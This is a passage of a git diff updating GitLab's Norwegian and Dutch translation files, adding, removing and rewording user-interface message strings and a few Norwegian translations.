-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr "Denne brukeren har ingen aktive %{type}."
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr "Trusselovervåking"
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr "Tidsavbrudd"
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "t"
@@ -27914,6 +28531,9 @@ msgstr "sek"
msgid "Tip:"
msgstr "Tips:"
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr "Tittel"
@@ -28049,7 +28669,7 @@ msgstr "For å oppdatere utdrag med flere filer, må du bruke `files`-parametere
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr "Klarte ikke å innhente uskannede prosjekter"
@@ -28556,8 +29182,8 @@ msgstr ""
msgid "Unassigned"
msgstr "Ikke tildelte"
-msgid "Unblock"
-msgstr "Fjern blokkering"
+msgid "Unauthenticated request rate limit"
+msgstr ""
msgid "Undo"
msgstr "Angre"
@@ -28569,7 +29195,7 @@ msgid "Undo ignore"
msgstr "Angre ignorering"
msgid "Unexpected error"
-msgstr ""
+msgstr "Uventet feil"
msgid "Unfortunately, your email message to GitLab could not be processed."
msgstr ""
@@ -28628,10 +29254,10 @@ msgstr "LÃ¥ste opp diskusjonen."
msgid "Unlocks the discussion."
msgstr "LÃ¥ser opp diskusjonen."
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28752,7 +29378,7 @@ msgid "Update now"
msgstr "Oppdater nå"
msgid "Update username"
-msgstr ""
+msgstr "Oppdater brukernavn"
msgid "Update variable"
msgstr "Oppdater variabel"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr "Last opp CSV-fil"
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr "Last opp en privat nøkkel til sertifikatet ditt"
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "Last opp fil"
@@ -28883,6 +29509,9 @@ msgstr "Plusstemmer"
msgid "Usage"
msgstr "Bruk"
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr "Ubegrenset"
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr "Benyttelse"
@@ -29067,7 +29699,7 @@ msgid "User %{username} was successfully removed."
msgstr ""
msgid "User ID"
-msgstr ""
+msgstr "Brukerens ID"
msgid "User OAuth applications"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr "Brukeren ble vellykket fjernet fra prosjektet."
msgid "User was successfully updated."
msgstr "Brukeren ble vellykket oppdatert."
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr "Legg til"
@@ -29177,6 +29815,9 @@ msgstr "Vil du slette %{name}?"
msgid "UserList|created %{timeago}"
msgstr "opprettet %{timeago}"
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr "Aktivitet"
@@ -29222,6 +29863,9 @@ msgstr "Personlige prosjekter"
msgid "UserProfile|Report abuse"
msgstr "Rapporter misbruk"
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr "Utdrag"
@@ -29252,6 +29896,9 @@ msgstr "Denne brukeren har ikke stjernemerket noen prosjekter"
msgid "UserProfile|This user is blocked"
msgstr "Denne brukeren er blokkert"
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr "Vis alle"
@@ -29288,6 +29935,9 @@ msgstr "Brukernavnet er tilgjengelig."
msgid "Username or email"
msgstr "Brukernavn eller E-postadresse"
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr "Brukere"
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr "Utildelt"
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr "Gyldig fra"
@@ -29408,8 +30058,8 @@ msgstr "Diverse oversettelsesinnstillinger."
msgid "Various settings that affect GitLab performance."
msgstr "Diverse innstillinger som påvirker GitLab-ytelsen."
-msgid "Verification capacity"
-msgstr "Verifiseringskapasitet"
+msgid "Verification concurrency limit"
+msgstr ""
msgid "Verification information"
msgstr "Verifikasjonsinformasjon"
@@ -29487,6 +30137,9 @@ msgstr "Vis fil @ "
msgid "View file @ %{commitSha}"
msgstr "Vis fil @ %{commitSha}"
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr "Vis full kontrollpanel"
@@ -29544,6 +30197,9 @@ msgstr "Vis prosjektstempler"
msgid "View replaced file @ "
msgstr "Vis erstattet fil @ "
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr "Trinn 1 og 2 (og noen ganger 3) utføres en gang av utvikleren før det bes om tilbakemelding. Trinn 3 (om nødvendig) og 4 utføres av anmelderen hver gang de utfører en gjennomgang."
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr "SÃ¥rbarheter"
@@ -29745,6 +30398,12 @@ msgstr "%{scannerName} (versjon %{scannerVersion})"
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr "Klasse"
@@ -29793,12 +30452,9 @@ msgstr "Navnefelt"
msgid "Vulnerability|Project"
msgstr "Prosjekt"
-msgid "Vulnerability|Request"
+msgid "Vulnerability|Request/Response"
msgstr ""
-msgid "Vulnerability|Response"
-msgstr "Respons"
-
msgid "Vulnerability|Scanner"
msgstr "Skanner"
@@ -29811,6 +30467,9 @@ msgstr "Alvorlighetsgrad"
msgid "Vulnerability|Status"
msgstr "Status"
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr "Pushhendelser"
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr "SSL-verifisering"
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr "Hva beskriver deg best?"
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr "Hva er nytt hos GitLab"
msgid "What’s your experience level?"
msgstr "Hva er ditt erfaringsnivå?"
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,8 +30796,14 @@ msgstr "Hvem skal bruke denne GitLab-prøveversjonen?"
msgid "Wiki"
msgstr "Wiki"
-msgid "Wiki was successfully updated."
-msgstr "Wikien ble vellykket oppdatert."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
+msgstr ""
msgid "WikiClone|Clone your wiki"
msgstr "Klon wikien din"
@@ -30278,6 +30958,9 @@ msgstr "Sideversjon"
msgid "Wiki|Pages"
msgstr "Sider"
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr "Tittel"
@@ -30359,9 +31042,6 @@ msgstr "Ja, lukk saken"
msgid "Yes, delete project"
msgstr "Ja, slett prosjektet"
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr "I går"
@@ -30371,6 +31051,9 @@ msgstr "Du"
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr "Du kan ikke få tilgang til denne råfilen. Vennligst vent et minutt."
@@ -30617,6 +31306,9 @@ msgstr "Du har ikke tillatelse til å forlate denne %{namespaceType}."
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr "Du må spesifisere både en tilgangssjetong og en verts-URL."
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr "Du vil kun motta varsler for kommentarer der du ble @nevnt"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr "Du vil ikke kunne opprette nye prosjekter fordi du har nådd prosjektgrensen din."
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr "Du har ikke tillatelse til å gjøre endringer i dette prosjektet direkt
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr "Du har ikke tillatelse til å gjøre endringer i dette prosjektet direkte. En utgreining av dette prosjektet blir opprettet som du kan gjøre endringer i, slik at du kan sende inn en fletteforespørsel."
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr "Du mottar denne e-posten på grunn av kontoen din på %{host}."
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr "Du har allerede aktivert 2-trinnsautentisering ved hjelp av éngangspassord-autentikatorer. For å kunne registrere en annen enhet, må du først deaktivere 2-trinnsautentisering."
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr "YouTube"
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr "DevOps-rapporten din gir en oversikt over hvordan du bruker GitLab fra e
msgid "Your GPG keys (%{count})"
msgstr "Dine GPG-nøkler (%{count})"
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr "Din GitLab-gruppe"
@@ -31058,6 +31756,9 @@ msgstr "Sakene dine blir importert. Når det er ferdig, vil du få en bekreftels
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr "Din lisens er gyldig fra"
@@ -31106,6 +31807,12 @@ msgstr "Din tilgangsforespørsel kunne ikke behandles: %{error_meesage}"
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr "Søket ditt samsvarte ikke med noen commiter."
msgid "Your search didn't match any commits. Try a different query."
msgstr "Søket ditt samsvarte ikke med noen commiter. Prøv et annet søkeuttrykk."
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr "Abonnementet ditt har utløpt!"
@@ -31124,6 +31834,9 @@ msgstr "Abonnementet ditt har blitt nedgradert."
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr "Zoom-møte lagt til"
@@ -31294,14 +32007,11 @@ msgstr "%{reportType}: Innlasting førte til en feil"
msgid "ciReport|%{sameNum} same"
msgstr "%{sameNum} samme"
-msgid "ciReport|(errors when loading results)"
-msgstr "(feil ved lasting av resultater)"
-
-msgid "ciReport|(is loading)"
-msgstr "(laster inn)"
+msgid "ciReport|: Loading resulted in an error"
+msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
-msgstr "(lastes, feil ved lasting av resultater)"
+msgid "ciReport|API Fuzzing"
+msgstr ""
msgid "ciReport|All projects"
msgstr "Alle prosjekter"
@@ -31467,6 +32177,12 @@ msgstr[1] "Brukes av %{packagesString}, og %{lastPackage}"
msgid "ciReport|View full report"
msgstr "Vis fullstendig rapport"
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr "lukket saksrapport"
@@ -31485,9 +32201,6 @@ msgstr "commit %{commit_id}"
msgid "committed"
msgstr "forpliktet"
-msgid "connecting"
-msgstr "kobler til"
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr "laget"
msgid "created %{timeAgo}"
msgstr "opprettet %{timeAgo}"
-msgid "customize"
-msgstr "tilpasse"
-
msgid "data"
msgstr "data"
@@ -31518,7 +32228,7 @@ msgstr[0] "dag"
msgstr[1] "dager"
msgid "default branch"
-msgstr ""
+msgstr "standardgren"
msgid "deleted"
msgstr "slettet"
@@ -31544,9 +32254,6 @@ msgstr "eksisterer ikke"
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr "ferdig"
-
msgid "download it"
msgstr "last den ned"
@@ -31635,6 +32342,9 @@ msgstr "for %{ref}"
msgid "for this project"
msgstr "for dette prosjektet"
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr "utgrein dette prosjektet"
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr "er allerede i bruk"
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr "hjelp"
@@ -31671,7 +32384,7 @@ msgid "https://your-bitbucket-server"
msgstr "https://din-bitbucket-tjener"
msgid "image diff"
-msgstr ""
+msgstr "bilde-diff"
msgid "impersonation token"
msgstr ""
@@ -31682,8 +32395,8 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
-msgstr "importerer"
+msgid "in"
+msgstr ""
msgid "in group %{link_to_group}"
msgstr "i gruppen %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr "ingen"
@@ -32238,6 +32954,9 @@ msgstr "på sporet"
msgid "open issue"
msgstr "Ã¥pen sak"
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr "Ã¥pnet %{timeAgoString} av %{user}"
@@ -32250,6 +32969,9 @@ msgstr "Ã¥pnet %{timeAgo}"
msgid "or"
msgstr "eller"
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr "prosjektmedlemmer"
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr "prosjekter"
@@ -32380,6 +33105,9 @@ msgstr "tilfredsstilt"
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr "Kritisk"
@@ -32392,9 +33120,15 @@ msgstr "Info"
msgid "severity|Low"
msgstr "Lav"
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr "Medium"
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr "Ingen"
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr "ssh:"
-msgid "started"
-msgstr "startet"
-
msgid "started a discussion on %{design_link}"
msgstr "startet en diskusjon på %{design_link}"
@@ -32476,11 +33207,11 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr "Vi legger til en GitLab CI-konfigurasjonsfil for å legge til en rørledning i prosjektet. Du kan opprette det manuelt, men vi anbefaler at du starter med en GitLab-mal som fungerer rett ut av boksen."
-msgid "syntax is correct"
-msgstr "syntaksen er riktig"
+msgid "syntax is correct."
+msgstr ""
-msgid "syntax is incorrect"
-msgstr "syntaksen er feil"
+msgid "syntax is incorrect."
+msgstr ""
msgid "tag name"
msgstr "etikettnavn"
@@ -32488,6 +33219,9 @@ msgstr "etikettnavn"
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr "de(n) følgende sak(en)"
@@ -32497,6 +33231,9 @@ msgstr "dette dokumentet"
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr "vis blobben"
msgid "view the source"
msgstr "vis kilden"
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr "Legg til en kommentar"
diff --git a/locale/nl_NL/gitlab.po b/locale/nl_NL/gitlab.po
index ea2d2693761..eba24446d6b 100644
--- a/locale/nl_NL/gitlab.po
+++ b/locale/nl_NL/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: nl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:49\n"
+"PO-Revision-Date: 2020-12-03 08:18\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr "%{actionText} & %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} wordt verwijderd! Weet je het zeker?"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} Gestart"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
